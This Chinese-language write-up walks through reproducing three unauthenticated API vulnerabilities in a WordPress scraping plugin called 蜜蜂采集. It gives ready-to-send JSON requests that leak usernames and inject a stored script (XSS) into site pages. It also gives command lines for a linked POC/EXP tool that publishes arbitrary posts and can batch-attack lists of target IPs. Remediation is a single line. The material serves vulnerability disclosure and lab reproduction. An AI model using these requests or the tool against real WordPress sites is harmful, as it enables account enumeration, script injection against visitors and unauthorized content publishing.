本次漏洞是WordPress的一款文章采集插件:蜜蜂采集,未对实现插件功能的相关API做鉴权;导致任何人发送的请求都会被执行。
下载漏洞复现环境:https://pan.baidu.com/s/1Oh_FX12UGpqrH0_ydoBNUA 提取码: wwi7
部分POC和EXP:https://github.com/NonAbsolute/MiFengBaiBaoXiangPluginPOCAndEXP
下载环境后解压“WordPress插件蜜蜂采集复现环境.zip”
依据README.md搭建环境,不再复述
漏洞一
WordPress用户名暴露
在该插件的采集页面如下图:
未对获取采集页面信息的API做限制,导致攻击者获得WordPress用户名等信息
我们打开检查元素并刷新页面看看POST请求
然后复制请求URL与请求内容到测试工具
URL: http://192.168.8.6:8080/wp-json/wp-beebox/v1/crawler
Content-Type: application/json
{"action":"get_config","target":"crawler"}
可以看到,不需要鉴权就获得了信息
漏洞二
XSS攻击
在该插件的“自定义代码”添加页,同样未鉴权;可轻易查询、添加自定义代码。
我们来利用测试工具发送请求看看
#查看自定义代码
URL: http://192.168.8.6:8080/wp-json/wp-beebox/v1/code
Content-Type: application/json
{"action":"fetch"}
获得了自定义代码的内容(因为没有添加自定义代码,所以为空)
#添加自定义代码
URL: http://192.168.8.6:8080/wp-json/wp-beebox/v1/code
Content-Type: application/json
{
"action": "save",
"data": [
{
"title": "testCode",
"content": "<script>alert(\"我是邓文怡,我在广东深圳!\")</script>\n<h1>我是邓文怡,我在广东深圳!</h1>",
"status": "on",
"position": "head"
}
]
}
可以看到,成功添加了自定义代码,并页面也有了反应
注明:“我很喜欢这句话;我想把它写在文中;不要见怪;无伤大雅。”
漏洞三
任意文章发布
这个复现就要靠上文中的“部分POC和EXP”的下载链接了。
具体实现过程可以看看Golang代码,和Github仓库中的README.md
我们这里仅下载作者编译好的可执行文件;简单使用一下。
下载可执行文件:
创建一个文件夹,将可执行文件放进去;因为它会在执行目录产生日志
-h查看使用方式
这里我简单说明一下:
--IP 你Kali的IP
--Port 你Kali的端口,任意;只要不被占用即可
--Type 值为'POC'或者'EXP',默认POC
--PayloadForTitle与--PayloadForMain
二者填一个就行,都填也可;这是--Type为EXP情况下需填的Payload。PayloadForTitle为发布文章的标题;PayloadForMain为发布文章的内容。--Type为POC的情况下可不填此项。Payload支持文件路径。
--PageType 文章发布类型,是WordPress的文章还是页面;默认'Article'文章;也可填页面'Page'。
--ET 渗透目标,如果不填,则为交互模式;填则为自动化模式;仅支持文件路径。文件内目标以','分隔;如:
192.168.0.1,192.168.0.2,192.168.0.3
我们使用交互模式测试一下漏洞是否存在:
./POCAndEXP-ForDarwin -IP 192.168.8.1 -Port 8080
进入交互模式,根据提示输入-h帮助
这里我再简单说明一下:
--ET 渗透目标,目标以','分隔;如:
192.168.0.1,192.168.0.2,192.168.0.3
Close 退出交互模式
发现漏洞存在,如下图:
-ET 192.168.8.6:8080
我们结束POC,添加EXP参数进入EXP测试一下:
./POCAndEXP-ForDarwin -IP 192.168.8.1 -Port 8080 -Type EXP -PayloadForTitle 我是邓文怡,我在广东深圳 --PayloadForMain 我是邓文怡,我在广东深圳
发现渗透已经成功:
查看WordPress也确实添加了一篇文章:
退出EXP,我们看到当前目录产生了很多日志文件,里面记录了渗透情况:
漏洞修复建议
暂时禁用该插件,可避免被此漏洞影响。